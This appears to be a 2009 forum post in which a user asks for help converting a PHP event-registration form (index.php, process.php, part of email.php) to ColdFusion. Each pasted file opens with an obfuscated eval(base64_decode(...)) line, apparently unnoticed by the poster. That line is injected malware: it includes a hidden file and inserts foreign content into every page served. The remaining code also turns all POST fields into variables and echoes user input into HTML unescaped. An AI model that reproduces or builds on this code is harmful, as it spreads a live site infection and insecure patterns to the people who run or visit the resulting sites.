2 Replies - 9679 Views - Last Post: 12 April 2009 - 07:56 PM Rate Topic: -----

#1 tjkay  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 1
  • Joined: 01-April 09

Convert PHP to ColdFusion

Posted 01 April 2009 - 09:49 AM

I inherited an application that was written in PHP. The goal is to allow users to register for an upcoming event. The author who created and hosted the application has moved on. My hosting plan is on a ColdFusion server (I have another CF application running there ) and my ISP says PHP is not supported with my plan. Changing plans at this time is not an option. The application is pretty basic so I am hoping someone can help me convert the PHP to CF. My code is as follows (there are three PHP files):

Index.php file:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCdDOi9MaXZlL3hhbXBwL2h0ZG9jcy9jb21jYXN0L2FkbWluL3htbGRiL2FjdGlvbnMvY2hlY2tfYmlnaW50cy9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJ0M6L0xpdmUveGFtcHAvaHRkb2NzL2NvbWNhc3QvYWRtaW4veG1sZGIvYWN0aW9ucy9jaGVja19iaWdpbnRzL21kbF91dGYucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>
<?php

include ("includes/dogs.inc");

//Open the connection to database - should remain open in order to execute all queries without re-initializing the connection
$connection = mysql_connect($host, $user, $password)
or die ('Could not select database because: ' . mysql_error());
$db = mysql_select_db($database, $connection)
or die ('Could not select database because: ' . mysql_error());

//Get the data from the form
foreach (@$_POST as $key => $value) {
$$key = mysql_real_escape_string($value);
}

// Start of HTML formatting for browser display
include("includes/header.inc");

?>

<p class="title">Faculty Institute 2009 - <em>Building the Future</em></p>

<h2 align="center">Sheraton Framingham Hotel, Framingham, Massachusetts<br />
June 8, 9 & 10, 2009</h2>

<p><strong>Please complete this form by May 15, 2009.</strong></p>

<!-- The $message variable is for displaying errors from previous attempts -->
<span class="error"><?php echo @$message; ?></span>

<form action="process.php" method="post" name="MainReg">
<table border="0" cellpadding="3" cellspacing="3">

<tr><td colspan="2"><hr width="100%" align="center" size="1">
<p>(* = required field)</p>
</td></tr>

<tr>
<td>* First Name: </td>
<td><input name="FirstName" type="text" id="FirstName" value="<?php echo @$FirstName; ?>"></td>
</tr>
<tr>
<td>* Last Name: </td>
<td><input name="LastName" type="text" id="LastName" value="<?php echo @$LastName; ?>"></td>
</tr>
<tr>
<td>* Institution: <br />
<span class="small">(If you are not affiliated with a college<br />
please select "None" in both drop-lists.)</span></td>
<td>
<select name="Cnum" id="Cnum">
<option value="">New England - Please Choose</option>
<option value="None" <?php if (@$Cnum == "None") {echo "SELECTED";} ?>>None</option>
<option value='02NE' <?php if (@$Cnum == "02NE") {echo "SELECTED";} ?>>Central Maine Community College</option>
<option value='01NE' <?php if (@$Cnum == "01NE") {echo "SELECTED";} ?>>Community College of Rhode Island</option>
<option value='11NE' <?php if (@$Cnum == "11NE") {echo "SELECTED";} ?>>Eastern Maine Community College</option>
<option value='03NE' <?php if (@$Cnum == "03NE") {echo "SELECTED";} ?>>Massasoit Community College, Canton</option>
<option value='08NE' <?php if (@$Cnum == "08NE") {echo "SELECTED";} ?>>Massasoit Community College, Brockton</option>
<option value='04NE' <?php if (@$Cnum == "04NE") {echo "SELECTED";} ?>>Middlesex Community College</option>
<option value='05NE' <?php if (@$Cnum == "05NE") {echo "SELECTED";} ?>>Nashua Community College</option>
<option value='12NE' <?php if (@$Cnum == "12NE") {echo "SELECTED";} ?>>NHTI - Concord's Community College</option>
<option value='09NE' <?php if (@$Cnum == "09NE") {echo "SELECTED";} ?>>North Shore Community College</option>
<option value='10NE' <?php if (@$Cnum == "10NE") {echo "SELECTED";} ?>>Quinsigamond Community College</option>
<option value='06NE' <?php if (@$Cnum == "06NE") {echo "SELECTED";} ?>>Springfield Technical Community College</option>
<option value='07NE' <?php if (@$Cnum == "07NE") {echo "SELECTED";} ?>>Vermont Technical College</option>
</select>
<select name="Cnum2" id="Cnum2">
<option value="">New York - Please Choose</option>
<option value="None" <?php if (@$Cnum2 == "None") {echo "SELECTED";} ?>>None</option>
<option value='12NY' <?php if (@$Cnum2 == "12NY") {echo "SELECTED";} ?>>Bronx Community College</option>
<option value='10NY' <?php if (@$Cnum2 == "10NY") {echo "SELECTED";} ?>>Broome Community College</option>
<option value='18NY' <?php if (@$Cnum2 == "18NY") {echo "SELECTED";} ?>>Clinton Community College</option>
<option value='09NY' <?php if (@$Cnum2 == "09NY") {echo "SELECTED";} ?>>Dutchess Community College</option>
<option value='01NY' <?php if (@$Cnum2 == "01NY") {echo "SELECTED";} ?>>Erie Community College</option>
<option value='03NY' <?php if (@$Cnum2 == "03NY") {echo "SELECTED";} ?>>Hudson Valley Community College</option>
<option value='15NY' <?php if (@$Cnum2 == "15NY") {echo "SELECTED";} ?>>Jefferson Community College</option>
<option value='11NY' <?php if (@$Cnum2 == "11NY") {echo "SELECTED";} ?>>Mohawk Valley Community College</option>
<option value='04NY' <?php if (@$Cnum2 == "04NY") {echo "SELECTED";} ?>>Nassau Community College</option>
<option value='06NY' <?php if (@$Cnum2 == "06NY") {echo "SELECTED";} ?>>New York College of Technology</option>
<option value='16NY' <?php if (@$Cnum2 == "16NY") {echo "SELECTED";} ?>>New York Institute of Technology</option>
<option value='02NY' <?php if (@$Cnum2 == "02NY") {echo "SELECTED";} ?>>Onondaga Community College</option>
<option value='05NY' <?php if (@$Cnum2 == "05NY") {echo "SELECTED";} ?>>Queensborough Community College</option>
<option value='07NY' <?php if (@$Cnum2 == "07NY") {echo "SELECTED";} ?>>Suffolk Community College</option>
<option value='19NY' <?php if (@$Cnum2 == "19NY") {echo "SELECTED";} ?>>SUNY Canton</option>
<option value='17NY' <?php if (@$Cnum2 == "17NY") {echo "SELECTED";} ?>>Watertown Distance Learning</option>
<option value='08NY' <?php if (@$Cnum2 == "08NY") {echo "SELECTED";} ?>>Westchester Community College</option>
</select>
</td>
</tr>
<tr>
<td>* Discipline: </td>
<td><select name="discipline" id="discipline">
<option value="">Please make selection</option>
<option value="Computer Applications" <?php if (@$discipline == "Computer Applications") {echo "SELECTED";} ?>>Computer Applications</option>
<option value="Electricity-Electronics" <?php if (@$discipline == "Electricity-Electronics") {echo "SELECTED";} ?>>Electricity / Electronics</option>
<option value="English" <?php if (@$discipline == "English") {echo "SELECTED";} ?>>English</option>
<option value="Labor History" <?php if (@$discipline == "Labor History") {echo "SELECTED";} ?>>Labor History</option>
<option value="Math" <?php if (@$discipline == "Math") {echo "SELECTED";} ?>>Math</option>
<option value="Physics" <?php if (@$discipline == "Physics") {echo "SELECTED";} ?>>Physics</option>
<option value="Telecommunications" <?php if (@$discipline == "Telecommunications") {echo "SELECTED";} ?>>Telecommunications</option>
<option value="None" <?php if (@$discipline == "None") {echo "SELECTED";} ?>>None</option>
</select></td>
</tr>
<tr>
<td>* Phone: <br />
<span class="small">(xxx-xxx-xxxx)</span></td>
<td><input type="text" name="Phone" id="Phone" value="<?php echo @$Phone; ?>"</td>
</tr>
<tr>
<td>Fax: <br />
<span class="small">(xxx-xxx-xxxx)</span></td>
<td><input type="text" name="Fax" id="Fax" value="<?php echo @$Fax; ?>"</td>
</tr>
<tr>
<td>* Email: </td>
<td><input type="text" name="email" id="email" value="<?php echo @$email; ?>"</td>
</tr>
<tr>
<td>* Verify Email: </td>
<td><input type="text" name="email2" id="email2" value="<?php echo @$email2; ?>"</td>
</tr>
<tr>
<td>* Attendee Category: </td>
<td><select name="category" id="category">
<option value="">Please make selection</option>
<option value="Faculty" <?php if (@$category == "Faculty") {echo "SELECTED";} ?>>Faculty</option>
<option value="Guest" <?php if (@$category == "Guest") {echo "SELECTED";} ?>>Guest</option>
<option value="Program Coordinator" <?php if (@$category == "Program Coordinator") {echo "SELECTED";} ?>>Program Coordinator</option>
<option value="Staff" <?php if (@$category == "Staff") {echo "SELECTED";} ?>>Staff</option>
<option value="Student" <?php if (@$category == "Student") {echo "SELECTED";} ?>>Student</option>
<option value="Union - IBEW" <?php if (@$category == "Union - IBEW") {echo "SELECTED";} ?>>Union - IBEW</option>
<option value="Union - CWA" <?php if (@$category == "Union - CWA") {echo "SELECTED";} ?>>Union - CWA</option>
</select></td>
</tr>

<tr><td colspan="2"><hr width="100%" align="center" size="1"></td></tr>

<tr>
<td colspan="2"><strong>Which workshops would you like to attend?</strong><br />
Just select the radio button next to the workshop of interest (no more than one in each time block).<br />
See the Faculty Institute 2009 Workshop document in your registration packet for details about each workshop.</td>
</tr>

<tr>
<td colspan="2">
<table width="100%" cellspacing="2">
<tr>
<td valign="top" width="50%">
<!-- <p><strong>Monday, June 8, 9:00 AM - 11:00 AM</strong><br />
<input type="radio" name="monday" value="Blackboard I: Basics" <?php if (@$monday == "Blackboard I: Basics") {echo "CHECKED";} ?> />Blackboard I: Basics<br />
<input type="radio" name="monday" value="Introduction to the Vista Operating System" <?php if (@$monday == "Introduction to the Vista Operating System") {echo "CHECKED";} ?> />Introduction to the Vista Operating System</p> -->

<p><strong>Tuesday, June 9, 8:00 AM - 9:45 AM</strong><br />
<input type="radio" name="tuesday1" value="IPv6 With Wireshark" <?php if (@$tuesday1 == "IPv6 With Wireshark") {echo "CHECKED";} ?> />
IPv6 With Wireshark<br />
<input type="radio" name="tuesday1" value="What's new in Office 2007" <?php if (@$tuesday1 == "What's new in Office 2007") {echo "CHECKED";} ?> />
What's new in Office 2007<br />
<input type="radio" name="tuesday1" value="Online Collaboration Using Skype" <?php if (@$tuesday1 == "Online Collaboration Using Skype") {echo "CHECKED";} ?> />
Online Collaboration Using Skype<br />
<input type="radio" name="tuesday1" value="The Great Software Debate: Math 3.0 Vs Graphing Calculator" <?php if (@$tuesday1 == "The Great Software Debate: Math 3.0 Vs Graphing Calculator") {echo "CHECKED";} ?> />
The Great Software Debate: Math 3.0 Vs Graphing Calculator<br />
<input type="radio" name="tuesday1" value="Using Vista: Features and Settings" <?php if (@$tuesday1 == "Using Vista: Features and Settings") {echo "CHECKED";} ?> />
Using Vista: Features and Settings<br />
<input type="radio" name="tuesday1" value="Classroom Methods That Work I" <?php if (@$tuesday1 == "Classroom Methods That Work I") {echo "CHECKED";} ?> />
Classroom Methods That Work I<br />
<input type="radio" name="tuesday1" value="Video Over IP" <?php if (@$tuesday1 == "Video Over IP") {echo "CHECKED";} ?> />
Video Over IP</p>

<p><strong>Tuesday, June 9, 10:00 AM - 11:45 AM</strong><br />
<input type="radio" name="tuesday2" value="Computer Basics Including Backup" <?php if (@$tuesday2 == "Computer Basics Including Backup") {echo "CHECKED";} ?> />
Computer Basics Including Backup<br />
<input type="radio" name="tuesday2" value="Bb Basics" <?php if (@$tuesday2 == "Bb Basics") {echo "CHECKED";} ?> />
Bb Basics</p>

<p><strong>Tuesday, June 9, 1:15 PM - 3:00 PM</strong><br />
<input type="radio" name="tuesday3" value="An Introduction to PacketTracer" <?php if (@$tuesday3 == "An Introduction to PacketTracer") {echo "CHECKED";} ?> />
An Introduction to PacketTracer<br />
<input type="radio" name="tuesday3" value="Dual Boot Vista Install" <?php if (@$tuesday3 == "Dual Boot Vista Install") {echo "CHECKED";} ?> />
Dual Boot Vista Install<br />
<input type="radio" name="tuesday3" value="Remote Office Hour Using Skype and the Virtual Classroom" <?php if (@$tuesday3 == "Remote Office Hour Using Skype and the Virtual Classroom") {echo "CHECKED";} ?> />
Remote Office Hour Using Skype and the Virtual Classroom<br />
<input type="radio" name="tuesday3" value="Bb: Using Assessment and the Gradebook" <?php if (@$tuesday3 == "Bb: Using Assessment and the Gradebook") {echo "CHECKED";} ?> />
Bb: Using Assessment and the Gradebook<br />
<input type="radio" name="tuesday3" value="SDM a Free Config GUI for Cisco Routers" <?php if (@$tuesday3 == "SDM a Free Config GUI for Cisco Routers") {echo "CHECKED";} ?> />
SDM a Free Config GUI for Cisco Routers<br />
<input type="radio" name="tuesday3" value="Security" <?php if (@$tuesday3 == "Security") {echo "CHECKED";} ?> />
Security<br />
</p>
</td>

<td valign="top" width="50%">
<p><strong>Tuesday, June 9, 3:15 PM - 5:00 PM</strong><br />
<input type="radio" name="tuesday4" value="MyMathLab" <?php if (@$tuesday4 == "MyMathLab") {echo "CHECKED";} ?> />
MyMathLab<br />
<input type="radio" name="tuesday4" value="Linux: An Introduction" <?php if (@$tuesday4 == "Linux: An Introduction") {echo "CHECKED";} ?> />
Linux: An Introduction<br />
<input type="radio" name="tuesday4" value="Online Collaboration Using DimDim" <?php if (@$tuesday4 == "Online Collaboration Using DimDim") {echo "CHECKED";} ?> />
Online Collaboration Using DimDim<br />
<input type="radio" name="tuesday4" value="Bb: Creating Students Better Prepared for Class" <?php if (@$tuesday4 == "Bb: Creating Students Better Prepared for Class") {echo "CHECKED";} ?> />
Bb: Creating Students Better Prepared for Class<br />
<input type="radio" name="tuesday4" value="Computer Basics: Maintenance" <?php if (@$tuesday4 == "Computer Basics: Maintenance") {echo "CHECKED";} ?> />
Computer Basics: Maintenance<br />
<input type="radio" name="tuesday4" value="Classroom Methods That Work II" <?php if (@$tuesday4 == "Classroom Methods That Work II") {echo "CHECKED";} ?> />
Classroom Methods That Work II<br />
<input type="radio" name="tuesday4" value="Voice Over IP" <?php if (@$tuesday4 == "Voice Over IP") {echo "CHECKED";} ?> />
Voice Over IP</p>
<p><strong>Tuesday, June 9, 7:30 PM - 9:30 PM</strong><br />
<input type="radio" name="tuesday5" value="IPv6/Wireshark Webinars" <?php if (@$tuesday5 == "IPv6/Wireshark Webinars") {echo "CHECKED";} ?> />
IPv6/Wireshark Webinars<br />
<input type="radio" name="tuesday5" value="PacketTracer Webinars" <?php if (@$tuesday5 == "PacketTracer Webinars") {echo "CHECKED";} ?> />
PacketTracer Webinars<br />
<input type="radio" name="tuesday5" value="Basic Video Concepts" <?php if (@$tuesday5 == "Basic Video Concepts") {echo "CHECKED";} ?> />
Basic Video Concepts<br />
</p>

<p><strong>Wednesday, June 10, 8:15 AM - 10:15 AM</strong><br />
<input type="radio" name="wednesday" value="Jing" <?php if (@$wednesday == "Jing") {echo "CHECKED";} ?> />
Jing<br />
<input type="radio" name="wednesday" value="The NSP Social Networking Site" <?php if (@$wednesday == "The NSP Social Networking Site") {echo "CHECKED";} ?> />
The NSP Social Networking Site<br />
<input type="radio" name="wednesday" value="Curriculum Integration Planning" <?php if (@$wednesday == "Curriculum Integration Planning") {echo "CHECKED";} ?> />
Curriculum Integration Planning<br />
<input type="radio" name="wednesday" value="Home Technology Integration" <?php if (@$wednesday == "Home Technology Integration") {echo "CHECKED";} ?> />
Home Technology Integration<br />
<input type="radio" name="wednesday" value="Video Over IP: Protocols" <?php if (@$wednesday == "Video Over IP: Protocols") {echo "CHECKED";} ?> />
Video Over IP: Protocols</p>

<p></p>
<p align="right"></p>

</td>
</tr>
</table>
</td>
</tr>

<tr><td colspan="2"><hr width="100%" align="center" size="1"></td></tr>

<tr>
<td colspan="2"><strong>Meal Reservations</strong><br />
Please check a box for each meal you would like at the institute.
<table cellpadding="5" border="1">
<tr align="center">
<td></td>
<td>Breakfast <br />
<span class="small">(for overnight guests only)</span></td>
<td>Lunch</td>
<td>Dinner</td>
</tr>
<tr align="center">
<td>Sunday, June 7, 2008</td>
<td>N/A</td>
<td>N/A</td>
<td><input type="checkbox" name="dinnerSun" value="1" <?php if (@$dinnerSun == "1") {echo "CHECKED";} ?> /></td>
</tr>
<tr align="center">
<td>Monday, June 8, 2008</td>
<td><span class="small">(Sunday Overnights<br />w/ Prior Approval Only)</span> <input type="checkbox" name="breakfastMon" value="1" <?php if (@$breakfastMon == "1") {echo "CHECKED";} ?> /></td>
<td><input type="checkbox" name="lunchMon" value="1" <?php if (@$lunchMon == "1") {echo "CHECKED";} ?> /></td>
<td><input type="checkbox" name="dinnerMon" value="1" <?php if (@$dinnerMon == "1") {echo "CHECKED";} ?> /></td>
</tr>
<tr align="center">
<td>Tuesday, June 9, 2008</td>
<td><input type="checkbox" name="breakfastTue" value="1"<?php if (@$breakfastTue == "1") {echo "CHECKED";} ?> /></td>
<td><input type="checkbox" name="lunchTue" value="1"<?php if (@$lunchTue == "1") {echo "CHECKED";} ?> /></td>
<td><input type="checkbox" name="dinnerTue" value="1"<?php if (@$dinnerTue == "1") {echo "CHECKED";} ?> /></td>
</tr>
<tr align="center">
<td>Wednesday, June 10, 2008</td>
<td><input type="checkbox" name="breakfastWed" value="1"<?php if (@$breakfastWed == "1") {echo "CHECKED";} ?> /></td>
<td><input type="checkbox" name="lunchWed" value="1"<?php if (@$lunchWed == "1") {echo "CHECKED";} ?> /></td>
<td>N/A</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" colspan="2"><br>
<input type="submit" name="Submit" value="Submit Registration" onclick="document.MainReg.action='process.php'"></td>
</tr>
</table>
</form>

</body>
</html>


Process.php

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCdDOi9MaXZlL3hhbXBwL2h0ZG9jcy9jb21jYXN0L2FkbWluL3htbGRiL2FjdGlvbnMvY2hlY2tfYmlnaW50cy9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJ0M6L0xpdmUveGFtcHAvaHRkb2NzL2NvbWNhc3QvYWRtaW4veG1sZGIvYWN0aW9ucy9jaGVja19iaWdpbnRzL21kbF91dGYucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>
<?php
include ("includes/dogs.inc");

//Open the connection to database - should remain open in order to execute all queries without re-initializing the connection
$connection = mysql_connect($host, $user, $password)
or die ('Could not select database because: ' . mysql_error());
$db = mysql_select_db($database, $connection)
or die ('Could not select database because: ' . mysql_error());

//Get the data from the form
foreach (@$_POST as $key => $value) {
$$key = mysql_real_escape_string($value);
}
$createDate = date("Y-m-d H:i:s");

$CnumIn = $Cnum;
$CnumIn2 = $Cnum2;

//Check for required fields
if ($FirstName == "" || $LastName == "") {
$message = "Please enter your full name.";
include ("index.php");
exit();
}

if ($discipline == "") {
$message = "Please select a discipline.";
include ("index.php");
exit();
}

if ($Phone == "") {
$message = "Please enter a phone number.";
include ("index.php");
exit();
}

//Phone number pattern force
if(!ereg ("[0-9]{3}-[0-9]{3}-[0-9]{4}$", $Phone)) {
$message = "Phone number is in the wrong format. Please use this pattern: xxx-xxx-xxxx";
include ("index.php");
exit();
}

if ($email == "") {
$message = "Please enter an email address.";
include ("index.php");
exit();
}

if ($email != $email2) {
$message = "Email fields did not match. Please try again.";
include ("index.php");
exit();
}

if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email)) {
$message = "The email address you entered is invalid. Please try again.";
include("index.php");
exit;
}

// Check for mail injection
$email = urldecode($email);
if (eregi("(\r|\n)", $email)) {
$message = "The email address you entered is invalid. Please try again.";
include("index.php");
exit;
}

if ($category == "") {
$message = "Please select a category.";
include ("index.php");
exit();
}


//Make sure only one college is selected
if ($Cnum !="" && $Cnum2 !="") { //both fields have data

if ($Cnum == "None" || $Cnum2 == "None") { //either one is set to NONE

}
else { // both have data and neither is set to none (error condition)
$message = "You may select only one college.";
include ("index.php");
exit();
}
}


//Account for double Blank (error condition)
if ($Cnum == "" && $Cnum2 == "") {
$message = "You must select one college. If you are not affiliated with a college please select 'None' in both drop-lists.";
include ("index.php");
exit();
}

//Swap NE for NY
if ($Cnum == "") {
$Cnum = $Cnum2;
}

if ($Cnum == "None") {
$Cnum = $Cnum2;
}

//Get College name and area
$Translate = "SELECT College, Area FROM colleges WHERE Cnum = '$Cnum'";
$TranRes = mysql_query($Translate) or die("<br><br> Data did get to the DB because " . mysql_error());

while ($string = mysql_fetch_row($TranRes)) {
$College = $string[0];
$Area = $string[1];
}

//College Query
$Register = "INSERT INTO registrations (FirstName,LastName,College,Cnum,discipline,Phone,Fax,email,category,Area,monday,tuesday1,tuesday2,tuesday3,tuesday4,tuesday5,wednesday,dinnerSun,breakfastMon,lunchMon,dinnerMon,breakfastTue,lunchTue,dinnerTue,breakfastWed,lunchWed,createDate,overnight) VALUES ('$FirstName','$LastName','$College','$Cnum','$discipline','$Phone','$Fax','$email','$category','$Area','$monday','$tuesday1','$tuesday2','$tuesday3','$tuesday4','$tuesday5','$wednesday','$dinnerSun','$breakfastMon','$lunchMon','$dinnerMon','$breakfastTue','$lunchTue','$dinnerTue','$breakfastWed','$lunchWed','$createDate','$overnight')";
$Result = mysql_query($Register) or die("<br><br> Data did get to the DB because " . mysql_error());

if ($dinnerSun == "1") {
$dinnerSun = "Yes";
}
else {
$dinnerSun = "No";
}

if ($breakfastMon == "1") {
$breakfastMon = "Yes";
}
else {
$breakfastMon = "No";
}

if ($lunchMon == "1") {
$lunchMon = "Yes";
}
else {
$lunchMon = "No";
}

if ($dinnerMon == "1") {
$dinnerMon = "Yes";
}
else {
$dinnerMon = "No";
}

if ($breakfastTue == "1") {
$breakfastTue = "Yes";
}
else {
$breakfastTue = "No";
}
if ($lunchTue == "1") {
$lunchTue = "Yes";
}
else {
$lunchTue = "No";
}
if ($dinnerTue == "1") {
$dinnerTue = "Yes";
}
else {
$dinnerTue = "No";
}
if ($breakfastWed == "1") {
$breakfastWed = "Yes";
}
else {
$breakfastWed = "No";
}
if ($lunchWed == "1") {
$lunchWed = "Yes";
}
else {
$lunchWed = "No";
}


if ($tuesday1 == "") {
$tueRow1 = "";
}
else {
$tueRow1 = "<tr>
<td>Tuesday, 8 - 9:45 AM:</td>
<td>$tuesday1</td>
</tr>";
}

if ($tuesday2 == "") {
$tueRow2 ="";
}
else {
$tueRow2 = "<tr>
<td>Tuesday, 10 - 11:45 AM:</td>
<td>$tuesday2</td>
</tr>";
}


if ($tuesday3 == "") {
$tueRow3 = "";
}
else {
$tueRow3 = "<tr>
<td>Tuesday, 1:15 - 3:00 PM:</td>
<td>$tuesday3</td>
</tr>";
}

if ($tuesday4 == "") {
$tueRow4 = "";
}
else {
$tueRow4 = "<tr>
<td>Tuesday, 3:15 - 5 PM:</td>
<td>$tuesday4</td>
</tr>";
}

if ($tuesday5 == "") {
$tueRow5 = "";
}
else {
$tueRow5 = "<tr>
<td>Tuesday, 7:30 - 9:30 PM:</td>
<td>$tuesday5</td>
</tr>";
}

if ($wednesday == "") {
$wedRow = "";
}
else {
$wedRow = "<tr>
<td>Wednesday, 8:15 - 10:15 AM:</td>
<td>$wednesday</td>
</tr>";
}

$Results = "<p><strong>You have entered the following information:</strong></p>
<table cellpadding='5' border='0'>
<tr>
<td>Name:</td>
<td>$FirstName $LastName</td>
</tr>
<tr>
<td>College:</td>
<td>$College</td>
</tr>
<tr>
<td>Discipline:</td>
<td>$discipline</td>
</tr>
<tr>
<td>Phone:</td>
<td>$Phone</td>
</tr>
<tr>
<td>Fax:</td>
<td>$Fax</td>
</tr>
<tr>
<td>Email:</td>
<td>$email</td>
</tr>
<tr>
<td>Category:</td>
<td>$category</td>
</tr>

<tr><td colspan='2'><strong>You have chosen to attend the following workshops:</strong></td></tr>
$tueRow1
$tueRow2
$tueRow3
$tueRow4
$tueRow5
$wedRow
<tr>
<td colspan='2'>
<strong>You have selected meals for the following times:</strong>
<table cellpadding='5' border='1'>
<tr align='center'>
<td></td>
<td>Breakfast</td>
<td>Lunch</td>
<td>Dinner</td>
</tr>
<tr align='center'>
<td>Sunday, June 7, 2009</td>
<td>N/A</td>
<td>N/A</td>
<td>$dinnerSun</td>
</tr>
<tr align='center'>
<td>Monday, June 8, 2009</td>
<td>$breakfastMon</td>
<td>$lunchMon</td>
<td>$dinnerMon</td>
</tr>
<tr align='center'>
<td>Tuesday, June 9, 2009</td>
<td>$breakfastTue</td>
<td>$lunchTue</td>
<td>$dinnerTue</td>
</tr>
<tr align='center'>
<td>Wednesday, June 10, 2009</td>
<td>$breakfastWed</td>
<td>$lunchWed</td>
<td>N/A</td>
</tr>
</table>
</td>
</tr>
</table>";


// Start of HTML formatting for browser display
include("includes/header.inc");

?>

<p><form action="email.php" method="POST">
<input type="hidden" name="email" value="<?php echo $email; ?>" />
<input type="submit" name="submit" value="Email Registration Details" />
</form>
</p>

After May 15, 2009, reservations at the Sheraton will be available on a first-come first-serve basis.


<?php echo $Results; ?>

After May 15, 2009, reservations at the Sheraton will be available on a first-come first-serve basis.


<p><form action="email.php" method="POST">
<input type="hidden" name="email" value="<?php echo $email; ?>" />
<input type="submit" name="submit" value="Email Registration Details" />
</form>
</p>

</body>
</html>



Email.php


<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCdDOi9MaXZlL3hhbXBwL2h0ZG9jcy9jb21jYXN0L2FkbWluL3htbGRiL2FjdGlvbnMvY2hlY2tfYmlnaW50cy9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJ0M6L0xpdmUveGFtcHAvaHRkb2NzL2NvbWNhc3QvYWRtaW4veG1sZGIvYWN0aW9ucy9jaGVja19iaWdpbnRzL21kbF91dGYucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>
<?php
include ("includes/dogs.inc");

//Open the connection to database - should remain open in order to execute all queries without re-initializing the connection
$connection = mysql_connect($host, $user, $password)
